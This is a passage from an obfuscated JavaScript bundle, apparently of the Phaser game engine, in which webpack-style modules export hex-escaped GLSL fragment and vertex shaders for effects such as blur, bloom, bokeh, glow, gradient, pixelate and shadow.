'\x20\x20\x20\x20vec4\x20mainColor\x20=\x20texture2D(uMainSampler,\x20uv);', '\x20\x20\x20\x20vec4\x20maskColor\x20=\x20texture2D(uMaskSampler,\x20uv);', '\x20\x20\x20\x20if\x20(!uInvertMaskAlpha)', '\x20\x20\x20\x20{', '\x20\x20\x20\x20\x20\x20\x20\x20mainColor\x20*=\x20maskColor.a;', '\x20\x20\x20\x20}', '\x20\x20\x20\x20else', '\x20\x20\x20\x20{', '\x20\x20\x20\x20\x20\x20\x20\x20mainColor\x20*=\x20(1.0\x20-\x20maskColor.a);', '\x20\x20\x20\x20}', '\x20\x20\x20\x20gl_FragColor\x20=\x20mainColor;', '}']['join']('\x0a'); }, 0x14cc7: _0x542336 => { _0x542336['exports'] = ['#define\x20SHADER_NAME\x20PHASER_BITMAP_MASK_VS', 'precision\x20mediump\x20float;', 'attribute\x20vec2\x20inPosition;', 'void\x20main\x20()', '{', '\x20\x20\x20\x20gl_Position\x20=\x20vec4(inPosition,\x200.0,\x201.0);', '}']['join']('\x0a'); }, 0x17825: _0x1adf4a => { _0x1adf4a['exports'] = ['#define\x20SHADER_NAME\x20PHASER_COLORMATRIX_FS', 'precision\x20mediump\x20float;', 'uniform\x20sampler2D\x20uMainSampler;', 'uniform\x20float\x20uColorMatrix[20];', 'uniform\x20float\x20uAlpha;', 'varying\x20vec2\x20outTexCoord;', 'void\x20main\x20()', '{', '\x20\x20\x20\x20vec4\x20c\x20=\x20texture2D(uMainSampler,\x20outTexCoord);', '\x20\x20\x20\x20if\x20(uAlpha\x20==\x200.0)', '\x20\x20\x20\x20{', '\x20\x20\x20\x20\x20\x20\x20\x20gl_FragColor\x20=\x20c;', '\x20\x20\x20\x20\x20\x20\x20\x20return;', '\x20\x20\x20\x20}', '\x20\x20\x20\x20if\x20(c.a\x20>\x200.0)', '\x20\x20\x20\x20{', '\x20\x20\x20\x20\x20\x20\x20\x20c.rgb\x20/=\x20c.a;', '\x20\x20\x20\x20}', '\x20\x20\x20\x20vec4\x20result;', '\x20\x20\x20\x20result.r\x20=\x20(uColorMatrix[0]\x20*\x20c.r)\x20+\x20(uColorMatrix[1]\x20*\x20c.g)\x20+\x20(uColorMatrix[2]\x20*\x20c.b)\x20+\x20(uColorMatrix[3]\x20*\x20c.a)\x20+\x20uColorMatrix[4];', '\x20\x20\x20\x20result.g\x20=\x20(uColorMatrix[5]\x20*\x20c.r)\x20+\x20(uColorMatrix[6]\x20*\x20c.g)\x20+\x20(uColorMatrix[7]\x20*\x20c.b)\x20+\x20(uColorMatrix[8]\x20*\x20c.a)\x20+\x20uColorMatrix[9];', '\x20\x20\x20\x20result.b\x20=\x20(uColorMatrix[10]\x20*\x20c.r)\x20+\x20(uColorMatrix[11]\x20*\x20c.g)\x20+\x20(uColorMatrix[12]\x20*\x20c.b)\x20+\x20(uColorMatrix[13]\x20*\x20c.a)\x20+\x20uColorMatrix[14];', '\x20\x20\x20\x20result.a\x20=\x20(uColorMatrix[15]\x20*\x20c.r)\x20+\x20(uColorMatrix[16]\x20*\x20c.g)\x20+\x20(uColorMatrix[17]\x20*\x20c.b)\x20+\x20(uColorMatrix[18]\x20*\x20c.a)\x20+\x20uColorMatrix[19];', '\x20\x20\x20\x20vec3\x20rgb\x20=\x20mix(c.rgb,\x20result.rgb,\x20uAlpha);', '\x20\x20\x20\x20rgb\x20*=\x20result.a;', '\x20\x20\x20\x20gl_FragColor\x20=\x20vec4(rgb,\x20result.a);', '}']['join']('\x0a'); }, 0x8f4a: _0x12885f => { _0x12885f['exports'] = ['#define\x20SHADER_NAME\x20PHASER_COPY_FS', 'precision\x20mediump\x20float;', 'uniform\x20sampler2D\x20uMainSampler;', 'uniform\x20float\x20uBrightness;', 'varying\x20vec2\x20outTexCoord;', 'void\x20main\x20()', '{', '\x20\x20\x20\x20gl_FragColor\x20=\x20texture2D(uMainSampler,\x20outTexCoord)\x20*\x20uBrightness;', '}']['join']('\x0a'); }, 0x18353: _0x3cb777 => { _0x3cb777['exports'] = ['#define\x20SHADER_NAME\x20BARREL_FS', 'precision\x20mediump\x20float;', 'uniform\x20sampler2D\x20uMainSampler;', 'uniform\x20float\x20amount;', 'varying\x20vec2\x20outTexCoord;', 'vec2\x20Distort(vec2\x20p)', '{', '\x20\x20\x20\x20float\x20theta\x20\x20=\x20atan(p.y,\x20p.x);', '\x20\x20\x20\x20float\x20radius\x20=\x20length(p);', '\x20\x20\x20\x20radius\x20=\x20pow(radius,\x20amount);', '\x20\x20\x20\x20p.x\x20=\x20radius\x20*\x20cos(theta);', '\x20\x20\x20\x20p.y\x20=\x20radius\x20*\x20sin(theta);', '\x20\x20\x20\x20return\x200.5\x20*\x20(p\x20+\x201.0);', '}', 'void\x20main()', '{', '\x20\x20\x20\x20vec2\x20xy\x20=\x202.0\x20*\x20outTexCoord\x20-\x201.0;', '\x20\x20\x20\x20vec2\x20texCoord\x20=\x20outTexCoord;', '\x20\x20\x20\x20if\x20(length(xy)\x20<\x201.0)', '\x20\x20\x20\x20{', '\x20\x20\x20\x20\x20\x20\x20\x20texCoord\x20=\x20Distort(xy);', '\x20\x20\x20\x20}', '\x20\x20\x20\x20gl_FragColor\x20=\x20texture2D(uMainSampler,\x20texCoord);', '}']['join']('\x0a'); }, 0x5f50: _0x2a1828 => { _0x2a1828['exports'] = ['#define\x20SHADER_NAME\x20BLOOM_FS', 'precision\x20mediump\x20float;', 'uniform\x20sampler2D\x20uMainSampler;', 'uniform\x20vec2\x20offset;', 'uniform\x20float\x20strength;', 'uniform\x20vec3\x20color;', 'varying\x20vec2\x20outTexCoord;', 'void\x20main\x20()', '{', '\x20\x20\x20\x20vec4\x20sum\x20=\x20texture2D(uMainSampler,\x20outTexCoord)\x20*\x200.204164\x20*\x20strength;', '\x20\x20\x20\x20sum\x20=\x20sum\x20+\x20texture2D(uMainSampler,\x20outTexCoord\x20+\x20offset\x20*\x201.407333)\x20*\x200.304005;', '\x20\x20\x20\x20sum\x20=\x20sum\x20+\x20texture2D(uMainSampler,\x20outTexCoord\x20-\x20offset\x20*\x201.407333)\x20*\x200.304005;', '\x20\x20\x20\x20sum\x20=\x20sum\x20+\x20texture2D(uMainSampler,\x20outTexCoord\x20+\x20offset\x20*\x203.294215)\x20*\x200.093913;', '\x20\x20\x20\x20gl_FragColor\x20=\x20(sum\x20+\x20texture2D(uMainSampler,\x20outTexCoord\x20-\x20offset\x20*\x203.294215)\x20*\x200.093913)\x20*\x20vec4(color,\x201);', '}']['join']('\x0a'); }, 0x17078: _0x2292ac => { _0x2292ac['exports'] = ['#define\x20SHADER_NAME\x20BLUR_HIGH_FS', 'precision\x20mediump\x20float;', 'uniform\x20sampler2D\x20uMainSampler;', 'uniform\x20vec2\x20resolution;', 'uniform\x20vec2\x20offset;', 'uniform\x20float\x20strength;', 'uniform\x20vec3\x20color;', 'varying\x20vec2\x20outTexCoord;', 'void\x20main\x20()', '{', '\x20\x20\x20\x20vec2\x20uv\x20=\x20outTexCoord;', '\x20\x20\x20\x20vec4\x20col\x20=\x20vec4(0.0);', '\x20\x20\x20\x20vec2\x20off1\x20=\x20vec2(1.411764705882353)\x20*\x20offset\x20*\x20strength;', '\x20\x20\x20\x20vec2\x20off2\x20=\x20vec2(3.2941176470588234)\x20*\x20offset\x20*\x20strength;', '\x20\x20\x20\x20vec2\x20off3\x20=\x20vec2(5.176470588235294)\x20*\x20offset\x20*\x20strength;', '\x20\x20\x20\x20col\x20+=\x20texture2D(uMainSampler,\x20uv)\x20*\x200.1964825501511404;', '\x20\x20\x20\x20col\x20+=\x20texture2D(uMainSampler,\x20uv\x20+\x20(off1\x20/\x20resolution))\x20*\x200.2969069646728344;', '\x20\x20\x20\x20col\x20+=\x20texture2D(uMainSampler,\x20uv\x20-\x20(off1\x20/\x20resolution))\x20*\x200.2969069646728344;', '\x20\x20\x20\x20col\x20+=\x20texture2D(uMainSampler,\x20uv\x20+\x20(off2\x20/\x20resolution))\x20*\x200.09447039785044732;', '\x20\x20\x20\x20col\x20+=\x20texture2D(uMainSampler,\x20uv\x20-\x20(off2\x20/\x20resolution))\x20*\x200.09447039785044732;', '\x20\x20\x20\x20col\x20+=\x20texture2D(uMainSampler,\x20uv\x20+\x20(off3\x20/\x20resolution))\x20*\x200.010381362401148057;', '\x20\x20\x20\x20col\x20+=\x20texture2D(uMainSampler,\x20uv\x20-\x20(off3\x20/\x20resolution))\x20*\x200.010381362401148057;', '\x20\x20\x20\x20gl_FragColor\x20=\x20col\x20*\x20vec4(color,\x201.0);', '}']['join']('\x0a'); }, 0xa22a: _0x2f0d05 => { _0x2f0d05['exports'] = ['#define\x20SHADER_NAME\x20BLUR_LOW_FS', 'precision\x20mediump\x20float;', 'uniform\x20sampler2D\x20uMainSampler;', 'uniform\x20vec2\x20resolution;', 'uniform\x20vec2\x20offset;', 'uniform\x20float\x20strength;', 'uniform\x20vec3\x20color;', 'varying\x20vec2\x20outTexCoord;', 'void\x20main\x20()', '{', '\x20\x20\x20\x20vec2\x20uv\x20=\x20outTexCoord;', '\x20\x20\x20\x20vec4\x20col\x20=\x20vec4(0.0);', '\x20\x20\x20\x20vec2\x20offset\x20=\x20vec2(1.333)\x20*\x20offset\x20*\x20strength;', '\x20\x20\x20\x20col\x20+=\x20texture2D(uMainSampler,\x20uv)\x20*\x200.29411764705882354;', '\x20\x20\x20\x20col\x20+=\x20texture2D(uMainSampler,\x20uv\x20+\x20(offset\x20/\x20resolution))\x20*\x200.35294117647058826;', '\x20\x20\x20\x20col\x20+=\x20texture2D(uMainSampler,\x20uv\x20-\x20(offset\x20/\x20resolution))\x20*\x200.35294117647058826;', '\x20\x20\x20\x20gl_FragColor\x20=\x20col\x20*\x20vec4(color,\x201.0);', '}']['join']('\x0a'); }, 0xc786: _0x14a0a4 => { _0x14a0a4['exports'] = ['#define\x20SHADER_NAME\x20BLUR_MED_FS', 'precision\x20mediump\x20float;', 'uniform\x20sampler2D\x20uMainSampler;', 'uniform\x20vec2\x20resolution;', 'uniform\x20vec2\x20offset;', 'uniform\x20float\x20strength;', 'uniform\x20vec3\x20color;', 'varying\x20vec2\x20outTexCoord;', 'void\x20main\x20()', '{', '\x20\x20\x20\x20vec2\x20uv\x20=\x20outTexCoord;', '\x20\x20\x20\x20vec4\x20col\x20=\x20vec4(0.0);', '\x20\x20\x20\x20vec2\x20off1\x20=\x20vec2(1.3846153846)\x20*\x20offset\x20*\x20strength;', '\x20\x20\x20\x20vec2\x20off2\x20=\x20vec2(3.2307692308)\x20*\x20offset\x20*\x20strength;', '\x20\x20\x20\x20col\x20+=\x20texture2D(uMainSampler,\x20uv)\x20*\x200.2270270270;', '\x20\x20\x20\x20col\x20+=\x20texture2D(uMainSampler,\x20uv\x20+\x20(off1\x20/\x20resolution))\x20*\x200.3162162162;', '\x20\x20\x20\x20col\x20+=\x20texture2D(uMainSampler,\x20uv\x20-\x20(off1\x20/\x20resolution))\x20*\x200.3162162162;', '\x20\x20\x20\x20col\x20+=\x20texture2D(uMainSampler,\x20uv\x20+\x20(off2\x20/\x20resolution))\x20*\x200.0702702703;', '\x20\x20\x20\x20col\x20+=\x20texture2D(uMainSampler,\x20uv\x20-\x20(off2\x20/\x20resolution))\x20*\x200.0702702703;', '\x20\x20\x20\x20gl_FragColor\x20=\x20col\x20*\x20vec4(color,\x201.0);', '}']['join']('\x0a'); }, 0x161f2: _0x2118bf => { _0x2118bf['exports'] = ['#define\x20SHADER_NAME\x20BOKEH_FS', 'precision\x20mediump\x20float;', '#define\x20ITERATIONS\x20100.0', '#define\x20ONEOVER_ITR\x201.0\x20/\x20ITERATIONS', '#define\x20PI\x203.141596', '#define\x20GOLDEN_ANGLE\x202.39996323', 'uniform\x20sampler2D\x20uMainSampler;', 'uniform\x20vec2\x20resolution;', 'uniform\x20float\x20radius;', 'uniform\x20float\x20amount;', 'uniform\x20float\x20contrast;', 'uniform\x20bool\x20isTiltShift;', 'uniform\x20float\x20strength;', 'uniform\x20vec2\x20blur;', 'varying\x20vec2\x20outTexCoord;', 'vec2\x20Sample\x20(in\x20float\x20theta,\x20inout\x20float\x20r)', '{', '\x20\x20\x20\x20r\x20+=\x201.0\x20/\x20r;', '\x20\x20\x20\x20return\x20(r\x20-\x201.0)\x20*\x20vec2(cos(theta),\x20sin(theta))\x20*\x200.06;', '}', 'vec3\x20Bokeh\x20(sampler2D\x20tex,\x20vec2\x20uv,\x20float\x20radius)', '{', '\x20\x20\x20\x20vec3\x20acc\x20=\x20vec3(0.0);', '\x20\x20\x20\x20vec3\x20div\x20=\x20vec3(0.0);', '\x20\x20\x20\x20vec2\x20pixel\x20=\x20vec2(resolution.y\x20/\x20resolution.x,\x201.0)\x20*\x20radius\x20*\x20.025;', '\x20\x20\x20\x20float\x20r\x20=\x201.0;', '\x20\x20\x20\x20for\x20(float\x20j\x20=\x200.0;\x20j\x20<\x20GOLDEN_ANGLE\x20*\x20ITERATIONS;\x20j\x20+=\x20GOLDEN_ANGLE)', '\x20\x20\x20\x20{', '\x20\x20\x20\x20\x20\x20\x20\x20vec3\x20col\x20=\x20texture2D(tex,\x20uv\x20+\x20pixel\x20*\x20Sample(j,\x20r)).xyz;', '\x20\x20\x20\x20\x20\x20\x20\x20col\x20=\x20contrast\x20>\x200.0\x20?\x20col\x20*\x20col\x20*\x20(1.0\x20+\x20contrast)\x20:\x20col;', '\x20\x20\x20\x20\x20\x20\x20\x20vec3\x20bokeh\x20=\x20vec3(0.5)\x20+\x20pow(col,\x20vec3(10.0))\x20*\x20amount;', '\x20\x20\x20\x20\x20\x20\x20\x20acc\x20+=\x20col\x20*\x20bokeh;', '\x20\x20\x20\x20\x20\x20\x20\x20div\x20+=\x20bokeh;', '\x20\x20\x20\x20}', '\x20\x20\x20\x20return\x20acc\x20/\x20div;', '}', 'void\x20main\x20()', '{', '\x20\x20\x20\x20float\x20shift\x20=\x201.0;', '\x20\x20\x20\x20if\x20(isTiltShift)', '\x20\x20\x20\x20{', '\x20\x20\x20\x20\x20\x20\x20\x20vec2\x20uv\x20=\x20vec2(gl_FragCoord.xy\x20/\x20resolution\x20+\x20vec2(-0.5,\x20-0.5))\x20*\x202.0;', '\x20\x20\x20\x20\x20\x20\x20\x20float\x20centerStrength\x20=\x201.0;', '\x20\x20\x20\x20\x20\x20\x20\x20shift\x20=\x20length(uv\x20*\x20blur\x20*\x20strength)\x20*\x20centerStrength;', '\x20\x20\x20\x20}', '\x20\x20\x20\x20gl_FragColor\x20=\x20vec4(Bokeh(uMainSampler,\x20outTexCoord\x20*\x20vec2(1.0,\x201.0),\x20radius\x20*\x20shift),\x200.0);', '}']['join']('\x0a'); }, 0x166fb: _0x2a7a64 => { _0x2a7a64['exports'] = ['#define\x20SHADER_NAME\x20CIRCLE_FS', 'precision\x20mediump\x20float;', 'uniform\x20sampler2D\x20uMainSampler;', 'uniform\x20vec2\x20resolution;', 'uniform\x20vec3\x20color;', 'uniform\x20vec4\x20backgroundColor;', 'uniform\x20float\x20thickness;', 'uniform\x20float\x20scale;', 'uniform\x20float\x20feather;', 'varying\x20vec2\x20outTexCoord;', 'void\x20main\x20()', '{', '\x20\x20\x20\x20vec4\x20texture\x20=\x20texture2D(uMainSampler,\x20outTexCoord);', '\x20\x20\x20\x20vec2\x20position\x20=\x20(gl_FragCoord.xy\x20/\x20resolution.xy)\x20*\x202.0\x20-\x201.0;', '\x20\x20\x20\x20float\x20aspectRatio\x20=\x20resolution.x\x20/\x20resolution.y;', '\x20\x20\x20\x20position.x\x20*=\x20aspectRatio;', '\x20\x20\x20\x20float\x20grad\x20=\x20length(position);', '\x20\x20\x20\x20float\x20outer\x20=\x20aspectRatio;', '\x20\x20\x20\x20float\x20inner\x20=\x20outer\x20-\x20(thickness\x20*\x202.0\x20/\x20resolution.y);', '\x20\x20\x20\x20if\x20(aspectRatio\x20>=\x201.0)', '\x20\x20\x20\x20{', '\x20\x20\x20\x20\x20\x20\x20\x20float\x20f\x20=\x202.0\x20+\x20(resolution.y\x20/\x20resolution.x);', '\x20\x20\x20\x20\x20\x20\x20\x20outer\x20=\x201.0;', '\x20\x20\x20\x20\x20\x20\x20\x20inner\x20=\x201.0\x20-\x20(thickness\x20*\x20f\x20/\x20resolution.x);', '\x20\x20\x20\x20}', '\x20\x20\x20\x20outer\x20*=\x20scale;', '\x20\x20\x20\x20inner\x20*=\x20scale;', '\x20\x20\x20\x20float\x20circle\x20=\x20smoothstep(outer,\x20outer\x20-\x200.01,\x20grad);', '\x20\x20\x20\x20float\x20ring\x20=\x20circle\x20-\x20smoothstep(inner,\x20inner\x20-\x20feather,\x20grad);', '\x20\x20\x20\x20texture\x20=\x20mix(backgroundColor\x20*\x20backgroundColor.a,\x20texture,\x20texture.a);', '\x20\x20\x20\x20texture\x20=\x20(texture\x20*\x20(circle\x20-\x20ring));', '\x20\x20\x20\x20gl_FragColor\x20=\x20vec4(texture.rgb\x20+\x20(ring\x20*\x20color),\x20texture.a);', '}']['join']('\x0a'); }, 0xbade: _0x2695bc => { _0x2695bc['exports'] = ['#define\x20SHADER_NAME\x20DISPLACEMENT_FS', 'precision\x20mediump\x20float;', 'uniform\x20sampler2D\x20uMainSampler;', 'uniform\x20sampler2D\x20uDisplacementSampler;', 'uniform\x20vec2\x20amount;', 'varying\x20vec2\x20outTexCoord;', 'void\x20main\x20()', '{', '\x20\x20\x20\x20vec2\x20disp\x20=\x20(-vec2(0.5,\x200.5)\x20+\x20texture2D(uDisplacementSampler,\x20outTexCoord).rr)\x20*\x20amount;', '\x20\x20\x20\x20gl_FragColor\x20=\x20texture2D(uMainSampler,\x20outTexCoord\x20+\x20disp).rgba;', '}']['join']('\x0a'); }, 0x18160: _0x4c9bf9 => { _0x4c9bf9['exports'] = ['#define\x20SHADER_NAME\x20GLOW_FS', 'precision\x20mediump\x20float;', 'uniform\x20sampler2D\x20uMainSampler;', 'varying\x20vec2\x20outTexCoord;', 'uniform\x20float\x20outerStrength;', 'uniform\x20float\x20innerStrength;', 'uniform\x20vec2\x20resolution;', 'uniform\x20vec4\x20glowColor;', 'uniform\x20bool\x20knockout;', 'const\x20float\x20PI\x20=\x203.14159265358979323846264;', 'const\x20float\x20DIST\x20=\x20__DIST__;', 'const\x20float\x20SIZE\x20=\x20min(__SIZE__,\x20PI\x20*\x202.0);', 'const\x20float\x20STEP\x20=\x20ceil(PI\x20*\x202.0\x20/\x20SIZE);', 'const\x20float\x20MAX_ALPHA\x20=\x20STEP\x20*\x20DIST\x20*\x20(DIST\x20+\x201.0)\x20/\x202.0;', 'void\x20main\x20()', '{', '\x20\x20\x20\x20vec2\x20px\x20=\x20vec2(1.0\x20/\x20resolution.x,\x201.0\x20/\x20resolution.y);', '\x20\x20\x20\x20float\x20totalAlpha\x20=\x200.0;', '\x20\x20\x20\x20vec2\x20direction;', '\x20\x20\x20\x20vec2\x20displaced;', '\x20\x20\x20\x20vec4\x20color;', '\x20\x20\x20\x20for\x20(float\x20angle\x20=\x200.0;\x20angle\x20<\x20PI\x20*\x202.0;\x20angle\x20+=\x20SIZE)', '\x20\x20\x20\x20{', '\x20\x20\x20\x20\x20\x20\x20\x20direction\x20=\x20vec2(cos(angle),\x20sin(angle))\x20*\x20px;', '\x20\x20\x20\x20\x20\x20\x20\x20for\x20(float\x20curDistance\x20=\x200.0;\x20curDistance\x20<\x20DIST;\x20curDistance++)', '\x20\x20\x20\x20\x20\x20\x20\x20{', '\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20displaced\x20=\x20outTexCoord\x20+\x20direction\x20*\x20(curDistance\x20+\x201.0);', '\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20color\x20=\x20texture2D(uMainSampler,\x20displaced);', '\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20totalAlpha\x20+=\x20(DIST\x20-\x20curDistance)\x20*\x20color.a;', '\x20\x20\x20\x20\x20\x20\x20\x20}', '\x20\x20\x20\x20}', '\x20\x20\x20\x20color\x20=\x20texture2D(uMainSampler,\x20outTexCoord);', '\x20\x20\x20\x20float\x20alphaRatio\x20=\x20(totalAlpha\x20/\x20MAX_ALPHA);', '\x20\x20\x20\x20float\x20innerGlowAlpha\x20=\x20(1.0\x20-\x20alphaRatio)\x20*\x20innerStrength\x20*\x20color.a;', '\x20\x20\x20\x20float\x20innerGlowStrength\x20=\x20min(1.0,\x20innerGlowAlpha);', '\x20\x20\x20\x20vec4\x20innerColor\x20=\x20mix(color,\x20glowColor,\x20innerGlowStrength);', '\x20\x20\x20\x20float\x20outerGlowAlpha\x20=\x20alphaRatio\x20*\x20outerStrength\x20*\x20(1.0\x20-\x20color.a);', '\x20\x20\x20\x20float\x20outerGlowStrength\x20=\x20min(1.0\x20-\x20innerColor.a,\x20outerGlowAlpha);', '\x20\x20\x20\x20vec4\x20outerGlowColor\x20=\x20outerGlowStrength\x20*\x20glowColor.rgba;', '\x20\x20\x20\x20if\x20(knockout)', '\x20\x20\x20\x20{', '\x20\x20\x20\x20\x20\x20\x20\x20float\x20resultAlpha\x20=\x20outerGlowAlpha\x20+\x20innerGlowAlpha;', '\x20\x20\x20\x20\x20\x20\x20\x20gl_FragColor\x20=\x20vec4(glowColor.rgb\x20*\x20resultAlpha,\x20resultAlpha);', '\x20\x20\x20\x20}', '\x20\x20\x20\x20else', '\x20\x20\x20\x20{', '\x20\x20\x20\x20\x20\x20\x20\x20gl_FragColor\x20=\x20innerColor\x20+\x20outerGlowColor;', '\x20\x20\x20\x20}', '}']['join']('\x0a'); }, 0x1133f: _0x147e07 => { _0x147e07['exports'] = ['#define\x20SHADER_NAME\x20GRADIENT_FS', '#define\x20SRGB_TO_LINEAR(c)\x20pow((c),\x20vec3(2.2))', '#define\x20LINEAR_TO_SRGB(c)\x20pow((c),\x20vec3(1.0\x20/\x202.2))', '#define\x20SRGB(r,\x20g,\x20b)\x20SRGB_TO_LINEAR(vec3(float(r),\x20float(g),\x20float(b))\x20/\x20255.0)', 'precision\x20mediump\x20float;', 'uniform\x20sampler2D\x20uMainSampler;', 'uniform\x20vec2\x20positionFrom;', 'uniform\x20vec2\x20positionTo;', 'uniform\x20vec3\x20color1;', 'uniform\x20vec3\x20color2;', 'uniform\x20float\x20alpha;', 'uniform\x20int\x20size;', 'varying\x20vec2\x20outTexCoord;', 'float\x20gradientNoise(in\x20vec2\x20uv)', '{', '\x20\x20\x20\x20const\x20vec3\x20magic\x20=\x20vec3(0.06711056,\x200.00583715,\x2052.9829189);', '\x20\x20\x20\x20return\x20fract(magic.z\x20*\x20fract(dot(uv,\x20magic.xy)));', '}', 'float\x20stepped\x20(in\x20float\x20s,\x20in\x20float\x20scale,\x20in\x20int\x20steps)', '{', '\x20\x20\x20\x20return\x20steps\x20>\x200\x20?\x20floor(\x20s\x20/\x20((1.0\x20*\x20scale)\x20/\x20float(steps)))\x20*\x201.0\x20/\x20float(steps\x20-\x201)\x20:\x20s;', '}', 'void\x20main\x20()', '{', '\x20\x20\x20\x20vec2\x20a\x20=\x20positionFrom;', '\x20\x20\x20\x20vec2\x20b\x20=\x20positionTo;', '\x20\x20\x20\x20vec2\x20ba\x20=\x20b\x20-\x20a;', '\x20\x20\x20\x20float\x20d\x20=\x20dot(outTexCoord\x20-\x20a,\x20ba)\x20/\x20dot(ba,\x20ba);', '\x20\x20\x20\x20float\x20t\x20=\x20size\x20>\x200\x20?\x20stepped(d,\x201.0,\x20size)\x20:\x20d;', '\x20\x20\x20\x20t\x20=\x20smoothstep(0.0,\x201.0,\x20clamp(t,\x200.0,\x201.0));', '\x20\x20\x20\x20vec3\x20color\x20=\x20mix(SRGB(color1.r,\x20color1.g,\x20color1.b),\x20SRGB(color2.r,\x20color2.g,\x20color2.b),\x20t);', '\x20\x20\x20\x20color\x20=\x20LINEAR_TO_SRGB(color);', '\x20\x20\x20\x20color\x20+=\x20(1.0\x20/\x20255.0)\x20*\x20gradientNoise(outTexCoord)\x20-\x20(0.5\x20/\x20255.0);', '\x20\x20\x20\x20vec4\x20texture\x20=\x20texture2D(uMainSampler,\x20outTexCoord);', '\x20\x20\x20\x20gl_FragColor\x20=\x20vec4(mix(color.rgb,\x20texture.rgb,\x20alpha),\x201.0)\x20*\x20texture.a;', '}']['join']('\x0a'); }, 0xc68f: _0x25245f => { _0x25245f['exports'] = ['#define\x20SHADER_NAME\x20PIXELATE_FS', 'precision\x20mediump\x20float;', 'uniform\x20sampler2D\x20uMainSampler;', 'uniform\x20vec2\x20resolution;', 'uniform\x20float\x20amount;', 'varying\x20vec2\x20outTexCoord;', 'void\x20main\x20()', '{', '\x20\x20\x20\x20float\x20pixelSize\x20=\x20floor(2.0\x20+\x20amount);', '\x20\x20\x20\x20vec2\x20center\x20=\x20pixelSize\x20*\x20floor(outTexCoord\x20*\x20resolution\x20/\x20pixelSize)\x20+\x20pixelSize\x20*\x20vec2(0.5,\x200.5);', '\x20\x20\x20\x20vec2\x20corner1\x20=\x20center\x20+\x20pixelSize\x20*\x20vec2(-0.5,\x20-0.5);', '\x20\x20\x20\x20vec2\x20corner2\x20=\x20center\x20+\x20pixelSize\x20*\x20vec2(+0.5,\x20-0.5);', '\x20\x20\x20\x20vec2\x20corner3\x20=\x20center\x20+\x20pixelSize\x20*\x20vec2(+0.5,\x20+0.5);', '\x20\x20\x20\x20vec2\x20corner4\x20=\x20center\x20+\x20pixelSize\x20*\x20vec2(-0.5,\x20+0.5);', '\x20\x20\x20\x20vec4\x20pixel\x20=\x200.4\x20*\x20texture2D(uMainSampler,\x20center\x20/\x20resolution);', '\x20\x20\x20\x20pixel\x20+=\x200.15\x20*\x20texture2D(uMainSampler,\x20corner1\x20/\x20resolution);', '\x20\x20\x20\x20pixel\x20+=\x200.15\x20*\x20texture2D(uMainSampler,\x20corner2\x20/\x20resolution);', '\x20\x20\x20\x20pixel\x20+=\x200.15\x20*\x20texture2D(uMainSampler,\x20corner3\x20/\x20resolution);', '\x20\x20\x20\x20pixel\x20+=\x200.15\x20*\x20texture2D(uMainSampler,\x20corner4\x20/\x20resolution);', '\x20\x20\x20\x20gl_FragColor\x20=\x20pixel;', '}']['join']('\x0a'); }, 0x169b3: _0x4a334a => { _0x4a334a['exports'] = ['#define\x20SHADER_NAME\x20SHADOW_FS', 'precision\x20mediump\x20float;', 'uniform\x20sampler2D\x20uMainSampler;', 'varying\x20vec2\x20outTexCoord;', 'uniform\x20vec2\x20lightPosition;', 'uniform\x20vec4\x20color;', 'uniform\x20float\x20decay;', 'uniform\x20float\x20power;', 'uniform\x20float\x20intensity;', 'uniform\x20int\x20samples;', 'const\x20int\x20MAX\x20=\x2012;', 'void\x20main\x20()', '{', '\x20\x20\x20\x20vec4\x20texture\x20=\x20texture2D(uMainSampler,\x20outTexCoord);', '\x20\x20\x20\x20vec2\x20pc\x20=\x20(lightPosition\x20-\x20outTexCoord)\x20*\x20intensity;', '\x20\x20\x20\x20float\x20shadow\x20=\x200.0;', '\x20\x20\x20\x20float\x20limit\x20=\x20max(float(MAX),\x20float(samples));', '\x20\x20\x20\x20for\x20(int\x20i\x20=\x200;\x20i\x20<\x20MAX;\x20++i)', '\x20\x20\x20\x20{', '\x20\x20\x20\x20\x20\x20\x20\x20if\x20(i\x20>=\x20samples)', '\x20\x20\x20\x20\x20\x20\x20\x20{', '\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20break;', '\x20\x20\x20\x20\x20\x20\x20\x20}', '\x20\x20\x20\x20\x20\x20\x20\x20shadow\x20+=\x20texture2D(uMainSampler,\x20outTexCoord\x20+\x20float(i)\x20*\x20decay\x20/\x20limit\x20*\x20pc).a\x20*\x20power;', '\x20\x20\x20\x20}', '\x20\x20\x20\x20float\x20mask\x20=\x201.0\x20-\x20texture.a;', '\x20\x20\x20\x20gl_FragColor\x20=\x20mix(texture,\x20color,\x20shadow\x20*\x20mask);', '}']['join']('\x0a'); }, 0x11b10: _0x35ecd3 => { _0x35ecd3['exports'] = ['#define\x20SHADER_NAME\x20SHINE_FS', 'precision\x20mediump\x20float;', 'uniform\x20sampler2D\x20uMainSampler;', 'uniform\x20vec2\x20resolution;', 'uniform\x20bool\x20reveal;', 'uniform\x20float\x20speed;', 'uniform\x20float\x20time;', 'uniform\x20float\x20lineWidth;', 'uniform\x20float\x20gradient;', 'varying\x20vec2\x20outTexCoord;', 'void\x20main\x20()', '{', '\x09vec2\x20uv\x20=\x20gl_FragCoord.xy\x20/\x20resolution.xy;', '\x20\x20\x20\x20vec4\x20tex\x20=\x20texture2D(uMainSampler,\x20outTexCoord);', '\x20\x20\x20\x20vec4\x20col1\x20=\x20vec4(0.3,\x200.0,\x200.0,\x201.0);', '\x20\x20\x20\x20vec4\x20col2\x20=\x20vec4(0.85,\x200.85,\x200.85,\x201.0);', '\x20\x20\x20\x20uv.x\x20=\x20uv.x\x20-\x20mod(time\x20*\x20speed,\x202.0)\x20+\x200.5;', '\x20\x20\x20\x20float\x20y\x20=\x20uv.x\x20*\x20gradient;', '\x20\x20\x20\x20float\x20s\x20=\x20smoothstep(y\x20-\x20lineWidth,\x20y,\x20uv.y)\x20-\x20smoothstep(y,\x20y\x20+\x20lineWidth,\x20uv.y);', '\x20\x20\x20\x20gl_FragColor\x20=\x20(((s\x20*\x20col1)\x20+\x20(s\x20*\x20col2))\x20*\x20tex);', '\x20\x20\x20\x20if\x20(!reveal)', '\x20\x20\x20\x20{', '\x20\x20\x20\x20\x20\x20\x20\x20gl_FragColor\x20+=\x20tex;', '\x20\x20\x20\x20}', '}']['join']('\x0a'); }, 0x9951: _0x6552fa => { _0x6552fa['exports'] = ['#define\x20SHADER_NAME\x20VIGNETTE_FS', 'precision\x20mediump\x20float;', 